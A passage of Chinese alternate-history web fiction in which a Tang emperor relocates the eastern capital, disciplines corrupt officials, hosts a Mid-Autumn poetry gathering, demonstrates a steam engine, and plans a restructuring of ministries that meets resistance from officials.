留下吕元膺等人处理楚州的事,李纯一行不作停留,继续沿宿州、宋州北上,于7月中旬到达汴州。汴州居于华北平原的中心地带,是兵家重地,周边人口众多,也是一个李纯非常重视的地方。
考虑到洛阳很多官方建筑都要搬到下蔡,老百姓还会迁过去不少,洛阳会明显衰落很多。而且洛阳在河南道内偏西,不利于对全道的控制,后面不太适合做河南道的首府。汴州的位置更好,还有以前的宣武节度使府可以使用,完全可以把首府搬过来。
到了汴州,李纯带人简单看了一下,城市规模不小,居民众多,在北方算是大城,原有的节度使府保存完整,整修一下就可以使用。于是打算后面将汴州作为河南道的新首府。
李纯认为,从当时的情况来看,汴州也是很适合做国都,而且基础比较好,但是李纯知道,唐朝中后期以后经济和人口都在南移,汴州偏北方,做不到南北兼顾。汴州位于中原腹地,作为河南道的首府还是很合适的,未来一定也能发展成为一个重要城市。
李纯在汴州也就待了两天,大概走访一番,就带人一行直奔洛阳而去,那里还有大事等着他去办。
回到洛阳已是7月底了,李纯在紫微城简单休整了几天,8月初朝廷的很多大臣也都如约纷纷来到洛阳。
首先来到洛阳的是御史台的裴度和元稹,他们报告了后续对**则的调查和处理情况。
经查,**则确有贪腐不法行为,先是在凤翔,后是在河南道,都有借机敛财的行为,关于借皇帝出巡敛财的行为,由于李纯发现的早,金额还不够巨大,建议没收违法所得,并将官职由正三品降到从六品,贬为廉州(今广西合浦)司马。
李纯想,正好安南道蛮荒之地缺少人员,就让他做贡献去吧,当即说道:“准其所请,就让他去廉州吧,以后官员犯法的,大部分都采取远贬、流放的方式,充实一下边远州县的人口,看他们还敢不敢违法。”
次日,吕元膺也到了,他报告李纯说,经过察访,楚州刺史汪大兴贪赃枉法,欺压百姓,引起当地百姓的强烈反感,当初那些人就是要告御状的。经过认真收集证据,汪大兴****五千多贯钱,霸占土地八百亩,应当革职拿问,流放边远之地。
李纯想,对待这种顶风违纪的官员,没什么好客气的,就让他去岭南边远之地,当即道:“汪大兴所有违法所得全部充公,终生流放雷州(今广东湛江)。”
第三日,中书省的左右丞李吉甫、裴垍和令狐楚、李藩、李夷简三个光禄大夫也到了,他们汇报了朝臣们关于把东都迁迁到下蔡的讨论情况。
绝大多数大臣支持李纯的理由和见解,认为两京应该东西兼顾,迁都可以加强对东部和南方统治,但是也有人对把东都从洛阳搬到下蔡持有疑虑,认为劳民伤财,不值得。
李纯对两个都城的位置早就不满,说道:
“东南一行,让朕更加坚定了迁都的想法,两个都城都窝在盆地里,难以大规模发展,也无法带动全国的经济,就靠着东南部的输血维持,前面要动长安,有人反对,现在不动长安,只动洛阳,怎么还有人反对?”
李吉甫说:“有些人还是传统思想在作怪,安土重迁,在这边待习惯了,家眷也都在这边,不愿挪窝。”
李纯说:“朕在路上就想好了,新都不会一次性建到位,人员也不是一次性搬到位,诸王,皇亲国戚,国子监、匠作监等机构,还有一些制作兵器、服装的作坊也不会搬,首批搬的主要是皇宫、中书省、六部、大理寺等核心机构,而且大概五年以后再搬,中间完全可以调配官员,不想去的可以调到留守机构里去。”
裴垍说:“陛下这样一说,那些反对的大臣应该就没意见了,想跟皇上干事业的就过去,想留下来过安稳日子的也给机会。”
李纯道:“都过去,朝廷也没有那么多钱给他们盖房子,五年之内新都先搭个基本框架,以后逐步会越来越完善,以后等新都发展起来了,想去就没位置了。”
李藩说:“听陛下这么说,我们对新都的未来充满信心。”
李纯道:“特别是一些年龄较大的官员,不愿意去也可以理解,这样吧
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,你们中书省这段时间做两件事,一是把必须要搬的和可以暂时不搬的机构都详细统计一下,二是对人员的思想摸个底,到时会设置一个从二品的西京留守,管理留下来的衙门和人员,让大家不用担心。”
后面几天,李吉甫带着中书省的官员,对来到洛阳的朝臣逐个沟通、耐心解释,经过反复做工作,绝大多数官员都没啥反对意见了。
很多官员觉得,长安确实有点偏西北了,皇帝本来是要迁移长安的,看到大家反对,已经让步,改为迁洛阳,体现了仁爱之心。
大家最关心的两个事,一是官位,二是搬家,朝廷都留给了足够的选择空间,想继续发展的,就去新都,不想搬家的,也可以保留级别留在长安,已经这么照顾了,何必再跟皇帝唱对台戏。
8月10日上午,李纯在紫微城乾阳殿召开朝会,讨论搬迁东都事宜,由于李纯已经派人把情况说的很清楚,反对者没了理由和顾虑,绝大多数人支持迁都,少数反对迁都的人孤掌难鸣,基本上是一致通过。
李纯正式下旨,于当年9月开展东都搬迁事宜,在夏原营建建新东都,计划五年后将东都正式搬到夏原,将汴州作为河南道的新首府,届时洛阳不再作为**中心,降为普通的地方行政单位。
听说要迁东都,洛阳的百姓开始议论纷纷,很多人觉得以前作为东都人多风光,一旦东都与河南道都搬走了,洛阳肯定会衰落,还有的人以为要把洛阳人全部迁到夏原,觉得故土难离,根本不愿意去。
一时间,洛阳坊间议论纷纷,还衍生了不少谣言,百姓们从不同渠道表达意见,反对搬迁洛阳。
李纯也预见到洛阳百姓可能会有意见,没想到会有这么大动静,于是让纪奎下去暗访一番,了解一下具体情况,自己也好知道洛阳百姓们的想法和疑虑,朝廷这边可以根据情况拿出对策。
纪奎带人到处探听询问,特别是在茶楼、酒肆、市场等人多的地方,认真收集百姓们的议论声音,搜集以后分类汇总,在12日下午汇报给李纯。虽然百姓们意见很多,但是归纳起来无外乎就是三条。
1、迁东都,洛阳的百姓要不要搬,很多人故土难离,表示不愿过去,怕朝廷强迫搬迁。
2、有些人反对搬迁东都,依然希望东都留在洛阳,觉得洛阳是古都,应该保留。
3、有些商人和百姓则关心的是,如果洛阳人搬到夏原,应该给予优惠政策,不能和全国其他地方的百姓一样。
李纯认为,这些都是预料之中的想法,也都情有可原,既然决定迁都,不可能因为当地一些百姓的反对而改变,但是确实应该采纳其中合理的意见。
比如尽量减少搬迁的范围,洛阳的城市功能应当保留,洛阳人对迁都也作出了贡献,也应该予以照顾,在涉及人员去留的问题上,朝廷出台鼓励政策,让百姓自己去选择。
李纯思考成熟以后,召崔群过来,口授了关于洛阳百姓关心问题的回复意见,让他做一些安民布告,张贴在洛阳各处显眼的位置。
安民布告对迁都事宜又有了详细的阐述,对百姓的诸多疑虑进行了回应,主要就是4点:
1、确定迁都,于9月份开始启动搬迁,东都原有的宫殿、官署都会拆迁到夏原新建,城墙和其他涉及城市功能的设施不会动,百姓不作强制规定,去留随意。
2、三年后,夏原城将搭建好基本框架,朝廷将规划出居民区、商业区,工部会批准居民建房,到时只有洛阳居民可以过去买地建房。五年后,朝廷将搬迁新都,全国其他地方的百姓也可以到夏原买地建房,但是洛阳居民有两年的优先选择权。
3、五年后,夏原新都将初步建成,朝廷的主要机构将正式搬过去,未来将在新都将成为全国的经济重心,工商业发展前景良好,鼓励洛阳百姓到夏原新都居住和经商。
4、七年后,全国各地的人员都可以平等的到夏原发展,买地建房,洛阳人不再有优先权。
安民布告贴出以后,每个布告前都围了不少百姓,认真观看,解读其中的意思,热烈讨论。
第49章 中秋诗会
在其中一个布告前的人群里,有一位微胖的商人说:
“我们在洛阳做生意十几年了,如果东都搬走了,朝廷机构和官衙也都搬走了,我的东西还卖给谁呀,我到时在夏原先开个分店试试水,好了我就搬,不行我就撤。”
还有一位老者说:“我在洛阳生活几十年了,对这里感情深,肯定不去,你们谁爱去谁去。”
又有一位中年人说:“看到没,洛阳百姓只有两年的专属权和两年的优先权,前面给机会不搬,后面好地方可就被别人先挑走了。”
还有一位绅士说:“朝廷对洛阳人已经够意思了,搬不搬随意,想搬又有优惠措施,不错了。”
一个三十多岁的妇女说:“不错个啥,到夏原买地建房不要钱呀,我家穷,我们搬不起。”
一个中年儒生说:“新都以后是朝廷重点发展的地方,要当官的,做生意的,自然是要搬过去,毕竟机会多,普通百姓嘛,不去也罢。”
大家你一言我一嘴,议论了许久,终究是散了去,搬与不搬,各执一词,最终还是自己回家拿主意。
离传统的中秋佳节,还剩三天,加上后面要举办发明大会,很多外地人来洛阳看热闹,洛阳繁荣了不少,街上摩肩接踵,呈现着最后的繁华。
迁都的大事办的差不多了,李纯也想放松一下,和大家好好过个中秋节,提前让礼部尚书权德舆准备一下,邀请大臣来紫微城搞个热闹的中秋诗酒会。
都说唐诗宋韵,唐朝诗歌盛行,李纯前面一直忙于削藩、迁都等各项事,没有闲暇。借这个机会,李纯打算好好领略一下唐诗的韵味,让朝中的才子们好好表现一番。
国家稳定了,人们的日子也逐步好起来,中秋佳节来临之际,洛阳人喜气洋洋,赏菊花、吃月饼,好不热闹。
八月十五下午,洛阳紫微城,也是一团喜气,礼部邀请了几十个来洛阳的朝臣,举行中秋诗酒会,听说可以饮酒赋诗,大家都很有兴致,而且还可以带上家眷,受邀的大臣都是很高兴的来参加。
中秋自然离不开赏菊,礼部和枢密院准备很多菊花,摆在紫微城各处,各种颜色,形态各异,煞是好看。
李纯带着众臣在紫微城内到处走了一圈,赏看各种菊花和城内的景致,沿途还聊一些国事、家事,好不亲切。枢密院在各个点位还准备了一些茶水、瓜果、点心,供各位人员品用。
走了一圈,李纯带领众人来到城内的一个小广场,那里已经准备好了歌舞表演,李纯和众臣分列坐下,观看歌舞节目。
崔群找来了皇家的梨园班子和歌伎舞姬,连续表演了好几个节目,看的大家是赏心悦目,有的官员对着漂亮的舞姬看的入迷,还被自家的老婆掐了几下。
歌舞结束以后,崔群让各位先休息一下,半个时辰天黑以后,就开始参加诗酒会。官员们就三五一群,一起找个地方闲坐聊天,顺便也互相拉拉关系,联络一下友情。
半个时辰后,天已经黑了下来,原来的小广场已经重新布置停当,重新摆了一些桌子,按照尊卑次序大体围了一个方圈,桌上摆上了菜品、瓜果、酒水,四周还点起了一些大的火烛,加上今晚是月圆之夜,场地倒是显得敞亮。
李纯到了洛阳不久,郭贵妃也赶过来了,这次和刘嫔陪着李纯一起参加诗酒会。李纯和两个嫔妃自然坐到中间主桌位置,其他官员按照次序依次入座。
李纯首先开口道:
“诗和酒是我们大唐的文化精髓,前段因为忙于国事,大家都很辛苦,今日朕借着中秋佳节,让礼部搞了一个诗酒会,让我们君臣都放松一下,枢密院也准备了一些好酒招待各位臣工。在这里,朕首先敬大家一杯酒,感谢诸位臣工的辛勤付出,来,一起干。”
各位大臣听了都非常高兴,一起干掉杯中酒。
饮罢第一杯酒,李吉甫率先说:“其实这几年最辛苦的是皇上,皇上带着我们削平藩镇、治理国家,日夜操劳,我们臣工也要敬陛下一杯。”
其他大臣也纷纷附和,举杯向李纯敬酒,李纯自然是高兴的饮下。
权德舆说:“皇上,今晚这个诗酒会怎么举行,陛下定个规则吧。”
李纯从容说道:
“规则朕早就想好了,我让郭贵妃准备了一个木盒,盒子里装进了一些密封的纸片,纸片上都是今晚参加宴会人员的名字,每次由郭贵妃到盒子里抓出一个纸片,打开以后是谁的名字,就要作诗一首,作的出,就算过关,朕会赏赐一个小礼物,作不出,就要罚酒三杯。”
听到有彩头还有惩罚,各位大臣纷纷来了兴致,特别是那些文采比较好的大臣,都想一展身手。
李纯说:“喝酒要喝三杯,朕再敬大家一杯酒,希望我们大唐以后更加繁荣昌盛,来,干!”
大家喝完第三杯酒以后,李纯就让郭贵妃开始抓阄定人。郭贵妃开始向箱子里摸去,抓出一个纸片,脱口而出:“第一个是李绛”。
李绛平时善于写文章,诗文水平一般,但是既然能通过科举,也是有些底蕴的,仔细思考了一会,吟道:
共醉风光地,花飞落酒杯
且当金韵掷,莫遣玉山颓。
大家听了以后,都慢慢品味起来,觉得还不错。
李纯道:“有点意韵,只是今天可没有飞花呀,应该李爱卿以前去过一个花多的地方,和哪个佳人去饮酒,至今仍在回味,呵呵。既然吟出了,赶快看赏。”
说罢,一个太监拿着一个红色的信封递给李绛,李绛有些意外,但还是揣进了怀里。
郭贵妃紧接着又到木盒里摸出一个纸片,李纯打开一看,说:“是元稹,朕今天要听听你的佳作。”
元稹是写诗的高手,不慌不忙说:“今天是中秋节,是赏菊花的日子,微臣就以菊花为题,作诗一首”,然后吟道:
秋丛绕舍似陶家,遍绕篱边日渐斜。
不是花中偏爱菊,此花开尽更无花。
枢密使崔群说:“这首写得好,非常应景,又引入了陶渊明的田园意境,结尾也换一种方法赞美菊花,好诗。”
其他众臣也纷纷称赞,李纯也觉得写得好,立即让人也递过去一个红色信封。
郭贵妃接着摸出纸片,结果第三个人是裴垍。
裴垍有点意外,沉吟了好一会,不知是紧张还是没准备,竟然没吟出来,十分尴尬。
李纯笑道:“裴爱卿忙于政务,诗文生疏了些,情有可原,不过按照规矩还是要罚酒三杯。”
裴垍拱了拱手,然后闷头连喝三杯酒,喝得有点呛。
为了缓解一下略微尴尬的场面,李纯就说道:“众位爱卿很多会写诗,朕也不能落后,今天也借机赋诗一首。”
众人都有点惊喜,没想到皇上也要吟诗,就打起精神听。
只听李纯吟道:
朕亦好诗亦好酒,自比才高有八斗。
作诗半天仅一句,酒喝二两就上头。
吟罢,自己笑了起来,郭贵妃和刘嫔也跟着笑了起来。
众人也被逗乐了,没想到皇上还能这么幽默一下。
李纯自己心想,虽说唐朝诗人众多,自己的文学水平也不差,写诗填词的也会些,比起元稹、白居易自然差了点,比起李绛等人还是有底气的,今天中秋聚会,就是让大家愉快一下,搞个打油诗活跃一下氛围,也把裴垍的小尴尬掩盖过去。
大家笑罢,李纯让郭贵妃接着摸,这次摸出的是白居易,李纯倒是想看看当朝第一诗才,有何佳作。
只见白居易起身后,不慌不慌不忙说道:“今天陛下在紫微城举办诗酒会,臣就以紫薇花为题,作诗一首”
于是从容吟道:
丝纶阁下文书静,钟鼓楼中刻漏长。
独坐黄昏谁是伴,紫薇花对紫微郎。
李纯听罢,确实不错,别有一番韵味,白居易的文化底蕴扎实而深厚,其他大臣也是纷纷叫好,太监自然是赶紧把信封奉上。
就这样,诗酒会搞了两个多时辰才结束,大部分人都顺利作诗,领到一个红色信封,少数人吟不出来,喝了三杯酒,总体氛围宽松愉快,大家觉得这个诗酒会很有意义。
元稹等人回去以后,连忙打开红色信封看,只见里面是一个粉色的厚纸片,上面写着:
“可凭此片到枢密院选取一个价值三两银子的礼物。并在下面注解:枢密院有好几种礼物,个人后续可以根据自己的喜好,到枢密院选择领取。”有点类似后世的代
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金券。
元稹等人感慨,皇上可真会搞创新,可以自己挑礼物,上下两相宜,真好,可以回去让夫人好好挑选一下。
中秋节结束,工部就忙起来了,开始紧锣密鼓的准备发明大会的事情。工部尚书柳晟和侍郎刘元景,一起来到紫微城,向李纯请示发明大会的筹办事宜。
柳晟说:“陛下下旨以后,很多百姓踊跃参加,共有一百多人,都需要现场演示,需要的场地较大,所以臣等选择在洛阳东门外,选择一片空地,搭了一个台子,四周围了一下,陛下要不要去看一下。”
李纯说:“场地你们定就好,朕到时自然过去,也邀请一些大臣过去助阵一下,参加人员要搜身,不能携带利器,现场的安全和保障工作,你们要细致的考虑,人不够的话,可以跟崔群商议,从枢密院派人过去。”
柳晟说:“不知陛下对发明大会的举办,有什么要求?”
李纯道:“搞发明创造,是为了国计民生,不是为了搞花架子,所以你们要筛选,把有实用价值的发明放在主要位置,到时你们要选出有价值、有创新的十个发明,其中再选出三个最好的,发一些奖品,或者招入朝廷任职。”
柳晟说:“臣前面已经按照陛下的要求准备了,陛下的那件展品,艾笛声也准备好了,现场演示没有问题。”
李纯道:“好,为了表示朝廷的重视,明天上午首先展示朕那个器件,然后展示其他的,到时大会你来主持。”
第二天上午,洛阳东门外,**了很多百姓,都想看看所谓的发明大会,有什么稀奇玩意。
工部用木栅栏围成一个广场作为展区,百姓可以隔着栅栏观看。展区前方搭了一个五尺多高的台子,作为皇帝和诸位大臣的观看区。
由于参展人员较多,工部决定采取分批展示的方法,逐个进行演示。
时辰到了,人员也到齐了,李纯示意开始。
柳晟首先站出来。大声说道:
“皇上自即位以来,我朝发展日益繁盛,需要各方面的人才。皇上非常重视民间的能工巧匠,希望工匠们能够制作出一些创新实用的器件,可以生产制作出更多更好的东西,更好的满足国家和百姓的需求。我们工部按照皇上的要求,举办这次发明大会,希望大家都拿出自己的绝活,最好的前十名,朝廷会有丰厚赏钱,前三名,还可以进入工部或者匠作监。为了鼓励大家发明出好东西,皇上也命人制作了一个物件,第一个展出,现在请皇上敲锣开始今天的发明大会。”
只见一个太监拿来一面铜锣,一个宫女拿来一个鼓槌,李纯站起来,对着铜锣用力敲了一下,“砰!”的一声,大会开始。
只见在柳晟说话的功夫,早就有有人搬来一堆东西在组装,先是一个正烧火的铁炉子,上面放着一个密闭的大铁壶,铁壶前面有个喷嘴,对着一个叶轮,叶轮的一头有个凸轴,凸轴连着一个粗木杆,木杆的一头是个木杵,下面是个石臼,石臼里面是一些稻谷。
只见炉子里的火越烧越旺,铁壶里的水开始沸腾,从喷嘴里喷出白色热气,开始较少,后来越喷越多,吹动了叶轮,叶轮开始转动,带动凸轴转动。
当凸轴压向木杆时,木杵被压起来,凸轴转过去后,木杵落下来,砸向石臼里面的稻谷。后面喷出的热气稳定了,在叶轮和凸轴的带动下,木杵均匀的砸向石臼里的稻谷。
官员和百姓们看明白了,这不就是舂米吗?水壶靠着烧木材,喷出热气,可以带动木锤自动舂米,真是稀奇,百姓们发出啧啧赞叹。
看了约一刻钟,柳晟感觉大家也看明白了,就让人灭火撤去这个自动舂米的机器。
李纯清了清嗓子,朗声说道:“大唐臣民们,劳动人民太辛苦,朕发明这个舂米机,就是想减轻人的劳作,让机器帮人们干活,这个机器还不完善,还可以继续改进,不仅可以舂米,还可以织布、拉车,其他人也都可以发明出好的东西,让更多的机器帮人干活。”
官员和百姓们听了,觉得这个主意真好,能够见到皇帝听到他讲话非常不容易,大家非常兴奋,一片鼓掌叫好,李纯挥手致意一下,又让柳晟继续展示其他的物件。
第51章 机构改革
忙完关于征税和修路的事务,李纯又开始考虑关于机构改革的事情。李纯认为,以前设置的六部和九寺五监等部门非常不合理,已经不适合现在的工作需要,有必要进行改革。
李纯高度重视工商业,目前户部主管户口和财税,跟商业沾边,工部主管工程营造,屯田水利,跟工业沾边,但是两边管的都不多,造成空档,需要组建一个独立的工商部,促进工商业的发展。
李纯觉得,还需要成立一个新的部门,主管发明制造新东西、新机器,把几个重要的事情干起来,比如修铁路、修大桥,造兵船、造枪炮,可以组建科工部,负责科技和军工事业。
对外工作也是李纯非常重视的事项,目前鸿胪寺的工作太简单,没有发挥到应有的职责,简直就是一个使臣接待处,必须进行重组,除了管使臣之外,还要把情报搜集和对外贸易管起来。
教育也是李纯想重点推进的事业,目前礼部管着礼仪活动和教育,但是礼部只管科举部分,对促进教育做的不多,需要成立一个专门的教育部,全面提高唐朝百姓的教育水平。
李纯认为,六部还算发挥较大的作用,所谓的九寺五监,吃闲饭的太多,比如鸿胪寺、光禄寺、少府监之类,李纯都觉得没啥存在的必要。该有的部门没有设,不该有的部门存在着,有必要重新整合,
突然,李纯想起回到长安以后,交代给艾笛声关于蒸汽机的事情,还不知道结果如何,当即让人把艾笛声召进宫里。
艾笛声进宫行完礼后,李纯直接问道:“你最近在做什么,蒸汽机的事情进展的怎么样?”
艾笛声答道:“微臣一直在思考怎么改进陛下的那个蒸汽机,想着还能用它干其他什么活?”
李纯道:“朕让你做的那个蒸汽机舂米肯定亏了,那个蒸汽机,气密性也不好,动力不够大。你的那个织布机不错,可以让人仿制,然后卖给织工用。后面你要集中力量把蒸汽机搞得更大、更好用,朕想用它来拉大车,拉的人多,跑的快。”
艾笛声说:“陛下这个主意好,它可以吹动叶轮,就可以再连上轮子,完全可以拉动大车,只是目前的道路都是土路,怕是不好走。”
李纯纠正道:“要修铁路,就是在路上铺上铁做的轨道,这样才能走大车,蒸汽机要烧火,大车就叫火车。”
艾笛声说:“又是火车,又是铁路,微臣觉得这事大有前途,臣愿意帮着陛下研究。”
李纯对他的态度非常满意,说道:“朕思来想去,决定成立一个科工部,主管兵器和机器制造,专门用来设计制造一些重要的物件,比如火器、火车、混凝土之类的东西。”
艾笛声问:“陛下,混凝土又是什么东西?”
李纯道:“现在的道路都是土路,一下雨就是泥泞,混凝土不怕雨,遇到水还是硬的,行车走人很方便,用来修桥建房也很好,是重要的建筑材料。”
艾笛声说:“陛下的想法可真多,都要一起干吗”
李纯道:“朕的想法比这多多了,只是这几个比较重要,要先搞。新成立的科工部,专门负责军队需要的兵器、火器和民用重要的物件制造,朕打算把你调过去,集中精力搞那个蒸汽机火车和铁路事宜,再找一个对建筑材料有研究的,去负责混凝土的事。”
艾笛声说:“微臣一直喜欢研究物件,能给朝廷作出贡献,是微臣的夙愿,微臣愿意过去。微臣知道工部司的员外郎潘兴法,懂烧制砖瓦、石灰的技术,也喜欢研究建筑,斗胆建议让他来做研究混凝土的事。”
李纯道:“这样吧,可以在科工部成立交通司,由你做郎中,成立建筑司,可以由潘兴法任郎中,朕后面和几个大臣商议一下,过几天就定下来。”
艾笛声跪下拜道:“微臣代潘兴法,叩谢陛下圣恩。”
两日后,经过考虑一番,李纯觉得必须要推进机构改革的事,在宣政殿召集李吉甫、裴垍、李藩、李巽、权德舆、程异、范希朝等大臣议事。
李纯道:“近日来,朕考虑了很多事要做,但是目前设置的部门不合理,有的部门,比如工部、兵部、户部忙的不可开交,有的部门没事干,什么光禄寺就为了保障朕吃饭,朕吃饭很简单,宫里做就足够了。搞个将作监就是为了给皇家制作一些稀奇玩意,朕不需要,鸿胪寺就是接待几个使臣,太浪费了。朕准备搞一次大动作,把各部重新设立一下,各位爱卿有什么意见?”
李吉甫首先发言:“六部九寺五监一台的设置,是从隋朝就开始设定的,我大唐沿用至今,六部会忙一些,其他有的部门确实不太忙,有的也是为了安置一些老臣。”
李纯道:“现在朝廷要干的事太多,以前的部门设置维持不下去了,需要合并重组,朕也不想砸人的饭碗,但是重要的位置要腾出来。”
裴垍说:“不知陛下打算如何调整?”
李纯道:“朕上前面让兵部搞了一个制作火器的工场,以后朕要大规模推广火器,上次搞了一次发明大会,还有很多重要的东西需要制作出来,朕打算成立一个科工部,统一制造重要的火器、战船、机器等东西,朝廷需要什么东西,朕有什么想法,就直接由科工部来承办。朕的打算是把军器监和匠作监合并,建立新的科工部。”
李吉甫说:“这个想法很好,不知陛下有没有想好人选?”
李纯道:“这个部很重要,别人去朕也不放心,就由李绛来做尚书,范希朝会打仗,前面也立了大功,朕计划改兵部为军事部,升范希朝为军事部尚书。
科工部这边,军器监和将作监正监分任科工部左右侍郎,科工部设四个司,一是火器司,由郭云任郎中,以后全权负责军队的火器制作,要制作一批威力更强的火器。二是战船司,主要制造军队用的战船,平东军、平海军、平南军,以后都是用来水战、登陆的部队,还没有像样的战船,战船司先负责监造一批战船,配上火器,要有防御功能,机动性好,可由李绛从懂水战和造船的官员里挑一个人当郎中。
第三个是交通司,目前的主要任务就是造铁路和火车,由艾笛声任郎中,以后可以再拓展其他交通上的业务。第四个是建筑司,主要负责制作新式建筑材料,目前主要是研究水泥混凝土,以后可以用新材料搞建设,郎中由艾笛声推荐的潘兴法担任。”
听李纯一口气讲了那么多,大家都有点理解消化不了,不过大概意思基本了解,具体的职能只能待成立机构后再逐步沟通明确。
李吉甫说:“陛下这下可是大动作,以后要打大仗、干大事呀。”
李纯道:“国内是安定了,但是边疆的威胁还没消除,后面等条件允许了,朝廷肯定要大规模的对外用兵,第一个就要收拾吐蕃。李藩负责的修路事宜怎么样了?”
李藩答道:“长安到潼关一线拓宽平整了一下,现在冬季太冷,潼关往东部分要到明年春天再干。”
李纯道:“铁路和火车的制造没那么快,目前重点先抓好普通道路建设,修好长安到洛阳的路以后,再向东延长到汴州,再向东南延长到新都夏原,建设一条宽阔平整的大道,连接两京。这条路主要经过河南道,你跟新任河南道布政使王涯对接一下,让他全力搞好配合。”
李藩说:“臣定当不负陛下重托,争取早日修通长安到夏原的道路。”
李纯继续说:“说完科工部,朕还计划在鸿胪寺和光禄寺的基础上组建外事部,不要光搞迎来送往那一套,除了外事接待,还要派人到周边各国收集情报,策反对方的官员将领,测绘外国的地图,为我们对外用兵提供全面的依据,另外把对外贸易也全部管起来。”
裴垍说:“陛下又是一个大手笔,看来要用外事部全面负责对外的事务,不知人选怎么定?”
李纯道:“人选朕想好了,元稹这个人脑瓜聪明,适合干外事工作,就由他来干尚书,原来的鸿胪寺和光禄寺正卿,分任外事部左右侍郎。”
范希朝说:“刚才陛下说要对外用兵,并委以臣重任,臣感激涕零,不知陛下对军事工作有什么安排?”
李纯道:“以后经济和军事将是两个重点工作,一个富民,一个强兵,朕准备明年再休养一年,准备更充分一些,后年,也就是元和七年,开始对外用兵,以后火器和战船制造的事
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就交给科工部,军事部聚焦打仗,全面进行对外作战的各项筹划和准备。”
范希朝说:“臣谨遵圣意,臣推荐韩泰接任兵部侍郎一职,推荐田弘正接任平东军统领。”
李纯道:“这两个人朕都了解,还不错,准奏。李巽、程异,朕让你们过来,是想着要建立工商部的事。促进发展经济,民政和财税还由户部掌管,工商部担起促进全国工商业发展的重任。
户部仍由李巽任尚书,工商部就由程异任尚书,工商部就在太府寺和少府监的基础上组建,原太府寺正卿和少府监正监,分任工商部左右侍郎。
工商部设四个司,一是监管司,主要是维护市场秩序,对强卖强买或者制作、出售假货的情况进行打击,保护百姓的权益;二是商业司,想办法促进商业发展;三是工业司,想办法促进手工业、采矿业的发展;四是统计司,主要对经济运行的情况和各种相关数据进行统计。”
程异连忙拜谢李纯,并问道:“以后工商部和户部部的权限如何界定,人选如何配备?
李纯道:“以后工商部负责工商业的管理和促进,户部只管收税事项,至于工商部的人选,由你和两个侍郎先商议,中书省也可以留意合适人选。而且不仅朝廷设工商部,各道、州、县也要设立相应机构,把工商业的发展,作为考核地方政绩的重要方面。”
李巽说:“陛下这样区分也好,以后我们户部就主要管户口、税收和财政,新成立的工商部可以集中力量发展工商业。”
李纯说:“朕还想成立一个教育部,从礼部独立出来,专门负责教育事业”
权德舆说:“目前太常寺负责很多具体的礼仪事项,礼部可以重点负责教育方面的事,臣有信心办好教育,不必另外再成立教育部。”
李纯道:“既然你有信心搞好教育,朕就暂时不组建教育部,如果礼部抓的不好,朕后面还是要改一下。”
裴垍说:“如此大规模调整人员,有些官员会不会有反弹,臣建议先成立三个部,如果进展顺利再组建其他的部。”
李吉甫说:“陛下机构改革的设想很好,但是动作比较大,有些臣子未必理解,臣建议征询一下相关人员的意见。”
李纯想想也是,为了稳妥起见,先由中书省按照李纯的机构调整意见,找一些相关的大臣谈话,听取他们的想法,然后再结合意见情况进行适当修正。
不谈不知道,一谈吓一跳,没想到李纯新成立三部,撤销三寺三监的想法,遇到了巨大的阻力。
原来三寺三监的***,统统被改为三个部的副职,其他中层人员对新的岗位也很不满,对于一些舒服惯了的官员,骤然添加这么多新任务,也是态度消极。
军器监正监林文礼与匠作监正监肖时新,将被改为科工部侍郎,由正职改为副职,虽然原来的品级待遇没变,但是权力缩水了很多,本来就郁闷气恼,没想到一看中层人员的设置,更加生气了。
科工部四个司,火器司由郭云任郎中,交通司由艾笛声任郎中。建筑司由潘兴法任郎中,战船司郎中,李绛又打算让水军将领颜玮来做。
这就意味着四个司的郎中位置都定了,两个监原来的少监和其他中层干部没有了合适岗位,很多只能降级使用,军器监和匠作监的官员一个个义愤填膺,在两个正监的鼓动下,要找中书省**。
鸿胪寺和光禄寺的官员也是意见纷纷,两个正职降为副职不说,工作职能改的幅度也很大,鸿胪寺原来负责接待外邦使臣、光禄寺原来负责皇帝膳食,都是比较轻松舒服的单位。
突然要搞什么收集情报、测绘地图、管理贸易等其他工作,很多人完全不懂,一头懵逼,纷纷向中书省反映,新的工作干不了,请求调整适合自己的岗位。
太府寺和少府监也是议论纷纷,不仅降职使用,而且职能也改了很多,都要从头学起,有些老资格的官员完全没了学习动力,本打算混吃混喝到退休,突然来个大调整,很多人表示无法适应。
不得已,中书省只能找各寺监谈话,希望能够说服他们,但是很多官员的意见很大,也很尖锐。
第52章 化解难题
鸿胪寺正卿赖正文说:“本官在鸿胪寺卿干了十几年,外交工作难道还不如那个元稹,一个三十出头的年轻人懂个啥?让**的他的副职,我真是气不过。”
光禄寺正卿张西原说:“我也有意见,我们光禄寺原来是准备皇帝饮食的,突然去搞什么贸易和情报工作,这怎么干呀。”
李吉甫连忙说:“两位臣工消消气,皇上非常重视外事工作,让元稹去负责,也是想给年轻人压压担子,让两位臣工不用那么辛苦。至于专业问题吗,皇上说了,可以先学习调整一段时间,慢慢适应。”
军器监正监林文礼说:“皇上让我们军器监和匠作监合并成科工部,可是中层官员全部用的别人,我们的官员怎么安置?你让我们怎么跟下属交代?”
将作监正监肖时新说:“我们本来是给皇家做一些器件和赏赐用品的,这次改去做火车和混凝土,专业跨度大,又被降职使用,被两个工部来的人管理,一个个都气**。”
裴垍说:“由于科工部是新设立的单位,有些职能和两个监原来的职能变化比较大,所以皇上调了几个懂行的人去做,还请两位臣工多多理解。关于人员级别和职责变化问题,我一定向皇上反映。”
太府寺正卿崔右甫接着说:“我们太府寺原来是给皇上管钱管物的,突然去搞什么市场管理和商业,有点风马牛不相及,这让我们怎么干?皇家的钱粮物资谁来管?”
少府监正监江志平说:“我们少府监原来是管百工的,虽然和工业沾边,但是还让干统计司的活,实在是没法干呀。”
不光是六个正卿、正监在中书省内激烈反映情况,中书省外也有一群中低级官员闹哄哄的,纷纷上书意见。
李吉甫、裴垍和中书省的其他官员搞得焦头烂额,忙的是团团转,他们又去找来李绛、程异、元稹商议。
程异属于财务类官员,在朝廷中地位不高,不敢出来吭气。元稹倒是有几分胆识,想去跟那些人理论理论,李吉甫又怕他年轻气盛闹出乱子,没让去。
李绛态度暧昧,他本是和李吉甫、裴垍先后考中进士入朝,也是有些能力,但是李吉甫、裴垍更被李纯赏识,当上了左右丞,自己这次却只能平调尚书,心里不太服气,加上他和李吉甫不太和,干脆冷眼旁观看不说话。
李吉甫、裴垍没办法,只能入宫,把这些情况汇报给李纯。
李纯本来预计可能会有一些异议,但是听到反映意见这么大时,也是出乎意料。
